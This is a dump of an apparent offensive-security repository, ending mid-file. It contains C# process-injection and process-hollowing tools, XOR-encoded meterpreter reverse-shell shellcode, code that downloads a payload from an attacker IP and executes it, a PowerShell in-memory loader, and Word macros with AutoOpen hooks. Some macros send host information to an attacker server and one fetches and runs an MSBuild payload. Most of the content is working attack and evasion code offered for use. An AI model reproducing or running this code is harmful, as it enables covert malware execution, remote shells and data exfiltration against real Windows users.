fixed (byte* p = &buf[0])
{
byte* p2 = p;
var bufString = string.Format("{0:X}", new IntPtr(p2));
UInt64 bufInt = UInt64.Parse(bufString);
string bufHex = bufInt.ToString("x");
}
}
List<int> threadList = new List<int>();
ProcessThreadCollection threadsBefore = Process.GetProcessById(targetProcess[0].Id).Threads;
foreach (ProcessThread thread in threadsBefore)
{
threadList.Add(thread.Id);
}
IntPtr hRemoteThread;
uint hThread = NtCreateThreadEx(out hRemoteThread, 0x1FFFFF, IntPtr.Zero, hremoteProcess, remoteBaseAddress, IntPtr.Zero, false, 0, 0, 0, IntPtr.Zero);
ProcessThreadCollection threads = Process.GetProcessById(targetProcess[0].Id).Threads;
uint unmapStatus = NtUnmapViewOfSection(hlocalProcess, localBaseAddress);
int SectionStatus = NtClose(sectionHandler);
}
private static IntPtr NtOpenProcess(int id, int v, object value)
{
throw new NotImplementedException();
}
}
}
================================================
FILE: 01 - Process Games/EXE/NtQueueApc.cs
================================================
using System;
using System.Diagnostics;
using System.Runtime.InteropServices;
namespace ProcessCreateAndInject
{
class Program
{
// Constants
private const uint PAGE_EXECUTE_READWRITE = 0x40;
private const uint MEM_COMMIT = 0x1000;
private const uint MEM_RESERVE = 0x2000;
private const uint THREAD_ALL_ACCESS = 0x1F03FF;
private const uint PROCESS_ALL_ACCESS = 0x1F0FFF;
private const uint CREATE_SUSPENDED = 0x00000004;
// Structs
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public short wShowWindow;
public short cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct OBJECT_ATTRIBUTES
{
public int Length;
public IntPtr RootDirectory;
public IntPtr ObjectName;
public uint Attributes;
public IntPtr SecurityDescriptor;
public IntPtr SecurityQualityOfService;
}
// Imports
[DllImport("kernel32.dll", SetLastError = true, CharSet = CharSet.Auto)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation);
[DllImport("ntdll.dll")]
private static extern uint NtAllocateVirtualMemory(
IntPtr ProcessHandle,
ref IntPtr BaseAddress,
IntPtr ZeroBits,
ref IntPtr RegionSize,
uint AllocationType,
uint Protect);
[DllImport("ntdll.dll")]
private static extern uint NtWriteVirtualMemory(
IntPtr ProcessHandle,
IntPtr BaseAddress,
byte[] Buffer,
uint BufferLength,
out uint BytesWritten);
[DllImport("ntdll.dll")]
private static extern uint NtQueueApcThread(
IntPtr ThreadHandle,
IntPtr ApcRoutine,
IntPtr ApcArgument1,
IntPtr ApcArgument2,
IntPtr ApcArgument3);
[DllImport("ntdll.dll")]
private static extern uint NtResumeThread(
IntPtr ThreadHandle,
out uint PreviousSuspendCount);
static void Main(string[] args)
{
try
{
// Configuration - change these as needed
string targetProcess = @"C:\Windows\System32\notepad.exe";
// Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=eth0 LPORT=443 -f csharp
// The shellcode XOR'd with key: 0xfa
byte[] shellcode = new byte[511] { 0x06, 0xB2, 0x79, 0x1E, 0x0A, 0x12, 0x36, 0xFA, 0xFA, 0xFA, 0xBB, 0xAB, 0xBB, 0xAA, 0xA8, 0xAB, 0xAC, 0xB2, 0xCB, 0x28, 0x9F, 0xB2, 0x71, 0xA8, 0x9A, 0xB2, 0x71, 0xA8, 0xE2, 0xB2, 0x71, 0xA8, 0xDA, 0xB2, 0xF5, 0x4D, 0xB0, 0xB0, 0xB2, 0x71, 0x88, 0xAA, 0xB7, 0xCB, 0x33, 0xB2, 0xCB, 0x3A, 0x56, 0xC6, 0x9B, 0x86, 0xF8, 0xD6, 0xDA, 0xBB, 0x3B, 0x33, 0xF7, 0xBB, 0xFB, 0x3B, 0x18, 0x17, 0xA8, 0xB2, 0x71, 0xA8, 0xDA, 0x71, 0xB8, 0xC6, 0xB2, 0xFB, 0x2A, 0x9C, 0x7B, 0x82, 0xE2, 0xF1, 0xF8, 0xBB, 0xAB, 0xF5, 0x7F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xBB, 0xAD, 0xA3, 0x92, 0xFA, 0xBA, 0xFA, 0xFA, 0xBB, 0xA2, 0x90, 0xFA, 0xA0, 0xBB, 0x40, 0xF1, 0xD5, 0xF5, 0xCA, 0x05, 0x2F, 0xAD, 0xA3, 0xBB, 0x40, 0x8F, 0x94, 0xB7, 0x9B, 0x05, 0x2F, 0xB3, 0x05, 0x34, 0x13, 0xC6, 0x05, 0x05, 0x05, 0xB2, 0xFB, 0x39, 0xB2, 0xD3, 0x3C, 0xB2, 0x7F, 0x0C, 0x8F, 0x4E, 0xBB, 0x05, 0x1D, 0xA2, 0x90, 0xFA, 0xA3, 0x41, 0x1A, 0xE7, 0xD0, 0xF0, 0xBB, 0x73, 0x20, 0x05, 0x2F };
// Create suspended process
var pi = CreateSuspendedProcess(targetProcess);
Console.WriteLine($"[+] Created process PID: {pi.dwProcessId}");
for (int j = 0; j < shellcode.Length; j++)
{
shellcode[j] = (byte)((uint)shellcode[j] ^ 0xfa);
}
// Allocate memory in target process
IntPtr shellcodeAddr = AllocateMemory(pi.hProcess, shellcode.Length);
Console.WriteLine($"[+] Allocated memory at: 0x{shellcodeAddr.ToInt64():X}");
// Write shellcode to target process
WriteMemory(pi.hProcess, shellcodeAddr, shellcode);
Console.WriteLine("[+] Shellcode written");
// Queue APC to main thread
QueueAPC(pi.hThread, shellcodeAddr);
Console.WriteLine("[+] APC queued to main thread");
// Resume thread to execute shellcode
ResumeThread(pi.hThread);
Console.WriteLine("[+] Thread resumed");
Console.WriteLine("[!] Injection complete!");
}
catch (Exception ex)
{
Console.WriteLine($"[!] Error: {ex.Message}");
}
}
static PROCESS_INFORMATION CreateSuspendedProcess(string processPath)
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi;
bool success = CreateProcess(
processPath,
null,
IntPtr.Zero,
IntPtr.Zero,
false,
CREATE_SUSPENDED,
IntPtr.Zero,
null,
ref si,
out pi);
if (!success)
throw new System.ComponentModel.Win32Exception(Marshal.GetLastWin32Error());
return pi;
}
static IntPtr AllocateMemory(IntPtr hProcess, int size)
{
IntPtr baseAddr = IntPtr.Zero;
IntPtr regionSize = new IntPtr(size);
uint status = (uint)NtAllocateVirtualMemory(
hProcess,
ref baseAddr,
IntPtr.Zero,
ref regionSize,
MEM_COMMIT | MEM_RESERVE,
PAGE_EXECUTE_READWRITE);
if (status != 0)
throw new Exception($"Memory allocation failed (0x{status:X8})");
return baseAddr;
}
static void WriteMemory(IntPtr hProcess, IntPtr address, byte[] data)
{
uint status = NtWriteVirtualMemory(
hProcess,
address,
data,
(uint)data.Length,
out _);
if (status != 0)
throw new Exception($"Memory write failed (0x{status:X8})");
}
static void QueueAPC(IntPtr hThread, IntPtr shellcodeAddr)
{
uint status = NtQueueApcThread(
hThread,
shellcodeAddr,
IntPtr.Zero,
IntPtr.Zero,
IntPtr.Zero);
if (status != 0)
throw new Exception($"APC queue failed (0x{status:X8})");
}
static void ResumeThread(IntPtr hThread)
{
uint status = NtResumeThread(hThread, out _);
if (status != 0)
throw new Exception($"Thread resume failed (0x{status:X8})");
}
}
}
================================================
FILE: 01 - Process Games/EXE/README.md
================================================
## **NativeProcInjection.cs**
This technique demonstrates classic process injection using Native Windows API functions. It creates a remote process (usually `notepad.exe`), allocates memory in it, writes shellcode, and creates a remote thread to execute the payload.
**High-Level Steps:**
1. Obtain a handle to the target process using `NtOpenProcess`.
2. Allocate memory in the remote process with `NtAllocateVirtualMemory`.
3. Write shellcode into the allocated memory using `NtWriteVirtualMemory`.
4. Create a remote thread in the target process using `NtCreateThreadEx` to execute the shellcode.
## **NtMapInjection.cs**
This method utilizes NT native APIs to create a shared memory section and map it into both the local and remote process. It’s stealthier than the classic method and avoids using easily-monitored APIs like `WriteProcessMemory`.
**High-Level Steps:**
1. Create a memory section using `NtCreateSection`.
2. Map the section into the local process using `NtMapViewOfSection`.
3. Copy the shellcode into the local view.
4. Map the same section into the remote process using `NtMapViewOfSection`.
5. Create a remote thread in the target process with `CreateRemoteThread` or equivalent to execute the code.
## **NtQueueApc.cs**
This method uses Asynchronous Procedure Calls (APCs) to queue execution of shellcode in the context of a thread in a remote process. It is often used in combination with other techniques to delay execution or avoid detection.
**High-Level Steps:**
1. Create a new process in a suspended state using `CreateProcess` with the CREATE_SUSPENDED flag.
2. Allocate memory in the target process with `NtAllocateVirtualMemory`.
3. Write the shellcode into the allocated memory using `NtWriteVirtualMemory`.
4. Queue the shellcode for execution in the suspended thread using `NtQueueApcThread`.
5. Resume the main thread using `NtResumeThread` to trigger the APC and execute the payload.
## **procHollow.cs**
An advanced injection technique where a legitimate process is started in a suspended state, its memory is unmapped, and malicious code is written into it—effectively "hollowing out" the original process. The thread is then resumed, executing the injected payload under the guise of a legitimate executable.
**High-Level Steps:**
1. Create a target process (e.g., svchost.exe) in a suspended state using CreateProcess with CREATE_SUSPENDED.
2. Retrieve the base address of the main module using NtQueryInformationProcess and ReadProcessMemory.
3. Unmap the memory of the original executable using NtUnmapViewOfSection.
4. Allocate memory in the remote process using VirtualAllocEx.
5. Write the malicious executable (often a PE file) into the allocated memory using WriteProcessMemory.
6. Update the remote process’s context (entry point) with SetThreadContext.
7. Resume the main thread with ResumeThread to execute the injected payload.
## **TryHarder.cs**
Another Process Injection technique that loads the shellcode remotely.<br>
The idea of this technique is by `Sektor 7` and ported to C# by [saulgoodman](https://github.com/saulg00dmin).
Create Shellcode using msfvenom:<br>
- `msfvenom -p windows/x64/meterpreter/reverse_https LHOST=tun0 LPORT=443 -f raw EXITFUNC=thread -o shellcode.bin`
Serve the `shellcode.bin` with python server: `python3 -m http.server 80`
Convert the EXE into a byte array:<br>
- `$data = (New-Object System.Net.WebClient).DownloadData('http://192.168.45.190/Tryharder.exe')`
Load the EXE into memory:<br>
- `$assem = [System.Reflection.Assembly]::Load($data)`
Invoke its entry point:
- `$assem.EntryPoint.Invoke($null, @([string[]]@()))`
================================================
FILE: 01 - Process Games/EXE/TryHarder.cs
================================================
using System;
using System.Diagnostics;
using System.Net;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
class Program
{
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[DllImport("kernel32.dll")]
private static extern bool ResumeThread(IntPtr hThread);
[DllImport("kernel32.dll")]
private static extern IntPtr CreateRemoteThread(IntPtr hProcess, IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, out IntPtr lpThreadId);
private static string DecryptString(byte[] encryptedData)
{
return Encoding.UTF8.GetString(encryptedData);
}
private static readonly byte[] encCreateProcess = { 0x43, 0x72, 0x65, 0x61, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x41, 0x00 };
private static readonly byte[] encWriteProcessMemory = { 0x57, 0x72, 0x69, 0x74, 0x65, 0x50, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x4D, 0x65, 0x6D, 0x6F, 0x72, 0x79, 0x00 };
private static readonly byte[] encVirtualAllocEx = { 0x56, 0x69, 0x72, 0x74, 0x75, 0x61, 0x6C, 0x41, 0x6C, 0x6C, 0x6F, 0x63, 0x45, 0x78, 0x00 };
private delegate bool WriteProcessMemoryFunc(IntPtr hProcess, IntPtr lpBaseAddress, byte[] lpBuffer, uint nSize, out IntPtr lpNumberOfBytesWritten);
private static readonly WriteProcessMemoryFunc pwProcmem = (WriteProcessMemoryFunc)Marshal.GetDelegateForFunctionPointer(GetProcAddress(GetModuleHandle("kernel32.dll"), DecryptString(encWriteProcessMemory)), typeof(WriteProcessMemoryFunc));
private delegate bool CreateProcessAFunc(string lpApplicationName, string lpCommandLine, IntPtr lpProcessAttributes, IntPtr lpThreadAttributes, bool bInheritHandles, uint dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
private static readonly CreateProcessAFunc pwCreateProcess = (CreateProcessAFunc)Marshal.GetDelegateForFunctionPointer(GetProcAddress(GetModuleHandle("kernel32.dll"), DecryptString(encCreateProcess)), typeof(CreateProcessAFunc));
private delegate IntPtr VirtualAllocExFunc(IntPtr hProcess, IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
private static readonly VirtualAllocExFunc pwVirtualAllocEx = (VirtualAllocExFunc)Marshal.GetDelegateForFunctionPointer(GetProcAddress(GetModuleHandle("kernel32.dll"), DecryptString(encVirtualAllocEx)), typeof(VirtualAllocExFunc));
[DllImport("kernel32.dll")]
private static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
[DllImport("kernel32.dll")]
private static extern IntPtr GetModuleHandle(string lpModuleName);
static void Main()
{
Thread.Sleep(10000);
string url = "http://192.168.45.207/shellcode.bin";
byte[] payload = new WebClient().DownloadData(url);
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
if (!pwCreateProcess("C:\\Windows\\System32\\notepad.exe", null, IntPtr.Zero, IntPtr.Zero, false, 0x00000004, IntPtr.Zero, null, ref si, out pi))
{
return;
}
IntPtr victimProcess = pi.hProcess;
IntPtr shellAddress = pwVirtualAllocEx(victimProcess, IntPtr.Zero, (uint)payload.Length, 0x00001000 | 0x00002000, 0x40);
IntPtr bytesWritten;
pwProcmem(victimProcess, shellAddress, payload, (uint)payload.Length, out bytesWritten);
IntPtr threadId;
CreateRemoteThread(victimProcess, IntPtr.Zero, 0, shellAddress, IntPtr.Zero, 0, out threadId);
}
}
================================================
FILE: 01 - Process Games/EXE/procHollow.cs
================================================
using System;
using System.Runtime.InteropServices;
class Program
{
// Define necessary structures
[StructLayout(LayoutKind.Sequential)]
public struct STARTUPINFO
{
public uint cb;
public string lpReserved;
public string lpDesktop;
public string lpTitle;
public uint dwX;
public uint dwY;
public uint dwXSize;
public uint dwYSize;
public uint dwXCountChars;
public uint dwYCountChars;
public uint dwFillAttribute;
public uint dwFlags;
public ushort wShowWindow;
public ushort cbReserved2;
public IntPtr lpReserved2;
public IntPtr hStdInput;
public IntPtr hStdOutput;
public IntPtr hStdError;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_INFORMATION
{
public IntPtr hProcess;
public IntPtr hThread;
public uint dwProcessId;
public uint dwThreadId;
}
[StructLayout(LayoutKind.Sequential)]
public struct CLIENT_ID
{
public IntPtr UniqueProcess;
public IntPtr UniqueThread;
}
[StructLayout(LayoutKind.Sequential)]
public struct PROCESS_BASIC_INFORMATION
{
public IntPtr ExitStatus;
public IntPtr PebAddress;
public IntPtr AffinityMask;
public IntPtr BasePriority;
public IntPtr UniqueProcessId;
public IntPtr InheritedFromUniqueProcessId;
}
// Constants
const uint CREATE_SUSPENDED = 0x00000004;
const int ProcessBasicInformation = 0;
// Function declarations
[DllImport("kernel32.dll", SetLastError = true)]
static extern bool CreateProcess(
string lpApplicationName,
string lpCommandLine,
IntPtr lpProcessAttributes,
IntPtr lpThreadAttributes,
bool bInheritHandles,
uint dwCreationFlags,
IntPtr lpEnvironment,
string lpCurrentDirectory,
ref STARTUPINFO lpStartupInfo,
out PROCESS_INFORMATION lpProcessInformation
);
[DllImport("ntdll.dll")]
static extern int NtQueryInformationProcess(
IntPtr hProcess,
int processInformationClass,
ref PROCESS_BASIC_INFORMATION processInformation,
uint processInformationLength,
ref uint returnLength
);
[DllImport("ntdll.dll")]
static extern int NtReadVirtualMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToRead,
out IntPtr lpNumberOfBytesRead
);
[DllImport("kernel32.dll")]
static extern bool WriteProcessMemory(
IntPtr hProcess,
IntPtr lpBaseAddress,
byte[] lpBuffer,
int NumberOfBytesToWrite,
out IntPtr lpNumberOfBytesWritten
);
[DllImport("ntdll.dll", SetLastError = true)]
static extern bool NtResumeProcess(IntPtr hThread);
static void Main()
{
STARTUPINFO si = new STARTUPINFO();
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
// Create process in suspended state
bool res = CreateProcess(null, "C:\\Windows\\System32\\svchost.exe", IntPtr.Zero, IntPtr.Zero, false, CREATE_SUSPENDED, IntPtr.Zero, null, ref si, out pi);
PROCESS_BASIC_INFORMATION bi = new PROCESS_BASIC_INFORMATION();
uint tmp = 0;
IntPtr hProcess = pi.hProcess;
NtQueryInformationProcess(hProcess, ProcessBasicInformation, ref bi, (uint)(IntPtr.Size * 6), ref tmp);
IntPtr ptrImageBaseAddress = (IntPtr)((Int64)bi.PebAddress + 0x10);
byte[] baseAddressBytes = new byte[IntPtr.Size];
IntPtr nRead;
NtReadVirtualMemory(hProcess, ptrImageBaseAddress, baseAddressBytes, baseAddressBytes.Length, out nRead);
IntPtr imageBaseAddress = (IntPtr)(BitConverter.ToInt64(baseAddressBytes, 0));
byte[] data = new byte[0x200];
NtReadVirtualMemory(hProcess, imageBaseAddress, data, data.Length, out nRead);
uint e_lfanew = BitConverter.ToUInt32(data, 0x3C);
uint entrypointRvaOffset = e_lfanew + 0x28;
uint entrypointRva = BitConverter.ToUInt32(data, (int)entrypointRvaOffset);
IntPtr entrypointAddress = (IntPtr)((UInt64)imageBaseAddress + entrypointRva);
// Step 6: Generate: msfvenom -p windows/x64/meterpreter/reverse_tcp exitfunc=thread LHOST=ens33 LPORT=443 -f csharp
// Shellcode XOR'd with key: 0xfa
byte[] buf = new byte[511] { 0x06, 0xB2...};
for (int i = 0; i < buf.Length; i++)
{
buf[i] = (byte)((uint)buf[i] ^ 0xfa);
}
WriteProcessMemory(hProcess, entrypointAddress, buf, buf.Length, out nRead);
// Step 8: Resume the thread to execute the shellcode
NtResumeProcess(pi.hProcess);
Console.WriteLine("Boom! Check your listener.");
}
}
================================================
FILE: 02 - Macros/Curls/Curl-checkProcessBit.vba
================================================
Option Explicit
Sub SendProcessInfo()
Dim processName As String, serverUrl As String, wmiService As Object, processList As Object, processItem As Object
Dim result As String, is64Bit As Boolean
serverUrl = "http://CHANGE TO YOUR IP" ' Change this to your server endpoint
processName = "winword.exe" ' Replace with your process name
' Create WMI query and get process list
Set wmiService = GetObject("winmgmts:\\.\root\CIMV2")
Set processList = wmiService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
' Check if process is found and determine 64-bit status
If processList.Count > 0 Then
For Each processItem In processList
is64Bit = InStr(1, processItem.CommandLine, "Program Files (x86)", vbTextCompare) = 0
result = "Process: " & processName & ", 64-bit: " & CStr(is64Bit)
Next
Else
result = "Process not found."
End If
' Execute cURL command
Shell "cmd.exe /c curl -X POST -d """ & result & """ " & serverUrl, vbHide
End Sub
Sub AutoOpen()
SendProcessInfo
End Sub
Sub DocumentOpen()
SendProcessInfo
End Sub
================================================
FILE: 02 - Macros/Curls/Powershell-checkProcessBit.vba
================================================
Option Explicit
Sub SendProcessInfo()
Dim processName As String
Dim is64Bit As Boolean
Dim result As String
Dim wmiService As Object
Dim processList As Object
Dim processItem As Object
Dim psCommand As String
processName = "explorer.exe" ' Use uppercase for process name for consistency
Set wmiService = GetObject("winmgmts:\\.\root\CIMV2")
Set processList = wmiService.ExecQuery("SELECT * FROM Win32_Process WHERE Name = '" & processName & "'")
If processList.Count > 0 Then
For Each processItem In processList
' Check if the executable is located in "Program Files (x86)"
is64Bit = (InStr(1, processItem.ExecutablePath, "Program Files (x86)", vbTextCompare) = 0)
Exit For ' Only need to check the first matching process
Next processItem
result = "{""process"": """ & processName & """, ""64bit"": " & CStr(is64Bit) & "}"
Else
result = "{""process"": """ & processName & """, ""status"": ""not found""}"
End If
' Prepare the PowerShell command
psCommand = "powershell -Command ""Invoke-RestMethod -Uri 'http://192.168.50.101' -Method Post -Body '" & result & "' -ContentType 'application/json'"""
' Execute the PowerShell command
Shell "cmd.exe /c " & psCommand, vbHide
End Sub
Sub AutoOpen()
SendProcessInfo
End Sub
Sub DocumentOpen()
SendProcessInfo
End Sub
================================================
FILE: 02 - Macros/Curls/README.md
================================================
### Why?
1. The main purpose of the VBA is to determine if the process we target for injection is x64 or x86 bit.
2. Save time of targeting the wrong arch and wonder why the heck we don't get callback!
There are two implementations: using curl and using powershell, choose what ever you like, the HTTP response in your nc listener should contatin the outcome.
- Before executing the VBA, make sure you set up the NC listener: `nc -lvnp 80`
================================================
FILE: 02 - Macros/MSBuild/msbuild.vba
================================================
Sub AutoOpen()
Dim WinHttpReq As Object
Dim oStream As Object
Dim myURL As String
Dim LocalFilePath As String
Dim ExecFile As Double
myURL = "http://192.168.50.145/hollow.xml"
LocalFilePath = "C:\Users\Public\Downloads\hollow.xml"
' Create the HTTP request object
Set WinHttpReq = CreateObject("Microsoft.XMLHTTP")
WinHttpReq.Open "GET", myURL, False, "", ""
WinHttpReq.send
' Create the stream object to save the file
Set oStream = CreateObject("ADODB.Stream")
oStream.Open
oStream.Type = 1 ' Binary data
oStream.Write WinHttpReq.responseBody
oStream.SaveToFile LocalFilePath, 2 ' 2 = overwrite
oStream.Close
' Execute the msbuild command to compile the project
ExecFile = Shell("C:\Windows\Microsoft.NET\Framework64\v4.0.30319\msbuild.exe " & LocalFilePath, vbHide)
End Sub
================================================
FILE: 02 - Macros/processHollow.vba
================================================
#If Win64 Then
Private Declare PtrSafe Function ZwQueryInformationProcess Lib "NTDLL" (ByVal hProcess As LongPtr, ByVal procInformationClass As Long, ByRef procInformation As PROCESS_BASIC_INFORMATION, ByVal ProcInfoLen As Long, ByRef retlen As Long) As Long
Private Declare PtrSafe Function CreateProcessA Lib "KERNEL32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare PtrSafe Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal dwSize As Long, ByVal lpNumberOfBytesRead As Long) As Long
Private Declare PtrSafe Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As Long) As Long
Private Declare PtrSafe Function ResumeThread Lib "KERNEL32" (ByVal hThread As LongPtr) As Long
Private Declare PtrSafe Sub RtlZeroMemory Lib "KERNEL32" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare PtrSafe Function GetProcAddress Lib "KERNEL32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare PtrSafe Function LoadLibraryA Lib "KERNEL32" (ByVal lpLibFileName As String) As LongPtr
Private Declare PtrSafe Function VirtualProtect Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flNewProtect As Long, ByRef lpflOldProtect As Long) As Long
Private Declare PtrSafe Function CryptBinaryToStringA Lib "CRYPT32" (ByRef pbBinary As Any, ByVal cbBinary As Long, ByVal dwFlags As Long, ByRef pszString As Any, pcchString As Any) As Long
#Else
Private Declare Function ZwQueryInformationProcess Lib "NTDLL" (ByVal hProcess As LongPtr, ByVal procInformationClass As Long, ByRef procInformation As PROCESS_BASIC_INFORMATION, ByVal ProcInfoLen As Long, ByRef retlen As Long) As Long
Private Declare Function CreateProcessA Lib "KERNEL32" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As Any, lpThreadAttributes As Any, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, ByVal lpEnvironment As LongPtr, ByVal lpCurrentDirectory As String, lpStartupInfo As STARTUPINFOA, lpProcessInformation As PROCESS_INFORMATION) As LongPtr
Private Declare Function ReadProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal dwSize As Long, ByVal lpNumberOfBytesRead As Long) As Long
Private Declare Function WriteProcessMemory Lib "KERNEL32" (ByVal hProcess As LongPtr, ByVal lpBaseAddress As LongPtr, lpBuffer As Any, ByVal nSize As Long, ByVal lpNumberOfBytesWritten As Long) As Long
Private Declare Function ResumeThread Lib "KERNEL32" (ByVal hThread As LongPtr) As Long
Private Declare Sub RtlZeroMemory Lib "KERNEL32" (Destination As STARTUPINFOA, ByVal Length As Long)
Private Declare Function GetProcAddress Lib "KERNEL32" (ByVal hModule As LongPtr, ByVal lpProcName As String) As LongPtr
Private Declare Function LoadLibraryA Lib "KERNEL32" (ByVal lpLibFileName As String) As LongPtr
Private Declare Function VirtualProtect Lib "KERNEL32" (ByVal lpAddress As LongPtr, ByVal dwSize As Long, ByVal flNewProtect As Long, ByRef lpflOldProtect As Long) As Long
Private Declare Function CryptBinaryToStringA Lib "CRYPT32" (ByRef pbBinary As Any, ByVal cbBinary As Long, ByVal dwFlags As Long, ByRef pszString As Any, pcchString As Any) As Long
#End If
Private Type PROCESS_BASIC_INFORMATION
Reserved1 As LongPtr
PebAddress As LongPtr
Reserved2 As LongPtr
Reserved3 As LongPtr
UniquePid As LongPtr
MoreReserved As LongPtr
End Type
Private Type STARTUPINFOA
cb As Long
lpReserved As String
lpDesktop As String
lpTitle As String
dwX As Long
dwY As Long
dwXSize As Long
dwYSize As Long
dwXCountChars As Long
dwYCountChars As Long
dwFillAttribute As Long
dwFlags As Long
wShowWindow As Integer
cbReserved2 As Integer
lpReserved2 As String
hStdInput As LongPtr
hStdOutput As LongPtr
hStdError As LongPtr
End Type
Private Type PROCESS_INFORMATION
hProcess As LongPtr
hThread As LongPtr
dwProcessId As Long
dwThreadId As Long
End Type
Sub Document_Open()
hollow
End Sub
Sub AutoOpen()
hollow
End Sub
' Performs process hollowing to run shellcode in svchost.exe
Function hollow()
Dim si As STARTUPINFOA
RtlZeroMemory si, Len(si)
si.cb = Len(si)
si.dwFlags = &H100
Dim pi As PROCESS_INFORMATION
Dim procOutput As LongPtr
' Start svchost.exe in a suspended state
procOutput = CreateProcessA(vbNullString, "C:\\Windows\\System32\\svchost.exe", ByVal 0&, ByVal 0&, False, &H4, 0, vbNullString, si, pi)
Dim ProcBasicInfo As PROCESS_BASIC_INFORMATION
Dim ProcInfo As LongPtr
ProcInfo = pi.hProcess
Dim PEBinfo As LongPtr
#If Win64 Then
zwOutput = ZwQueryInformationProcess(ProcInfo, 0, ProcBasicInfo, 48, 0)
PEBinfo = ProcBasicInfo.PebAddress + 16
Dim AddrBuf(7) As Byte
#Else
zwOutput = ZwQueryInformationProcess(ProcInfo, 0, ProcBasicInfo, 24, 0)
PEBinfo = ProcBasicInfo.PebAddress + 8
Dim AddrBuf(3) As Byte
#End if
Dim tmp As Long
tmp = 0
#If Win64 Then
' Read 8 bytes of PEB to obtain base address of svchost in AddrBuf
readOutput = ReadProcessMemory(ProcInfo, PEBinfo, AddrBuf(0), 8, tmp)
svcHostBase = AddrBuf(7) * (2 ^ 56)
svcHostBase = svcHostBase + AddrBuf(6) * (2 ^ 48)
svcHostBase = svcHostBase + AddrBuf(5) * (2 ^ 40)
svcHostBase = svcHostBase + AddrBuf(4) * (2 ^ 32)
svcHostBase = svcHostBase + AddrBuf(3) * (2 ^ 24)
svcHostBase = svcHostBase + AddrBuf(2) * (2 ^ 16)
svcHostBase = svcHostBase + AddrBuf(1) * (2 ^ 8)
svcHostBase = svcHostBase + AddrBuf(0)
#Else
' Read 4 bytes of PEB to obtain base address of svchost in AddrBuf
readOutput = ReadProcessMemory(ProcInfo, PEBinfo, AddrBuf(0), 4, tmp)
svcHostBase = AddrBuf(3) * (2 ^ 24)
svcHostBase = svcHostBase + AddrBuf(2) * (2 ^ 16)
svcHostBase = svcHostBase + AddrBuf(1) * (2 ^ 8)
svcHostBase = svcHostBase + AddrBuf(0)
#End if
Dim data(512) As Byte
' Read more data from PEB so e_lfanew offset can be retrieved
readOutput2 = ReadProcessMemory(ProcInfo, svcHostBase, data(0), 512, tmp)
' Read e_lfanew offset value and add 40
Dim e_lfanew_offset As Long
e_lfanew_offset = data(60)
Dim opthdr As Long
opthdr = e_lfanew_offset + 40
' Construct relative virtual address for svchost's entry point
Dim entrypoint_rva As Long
entrypoint_rva = data(opthdr + 3) * (2 ^ 24)
entrypoint_rva = entrypoint_rva + data(opthdr + 2) * (2 ^ 16)
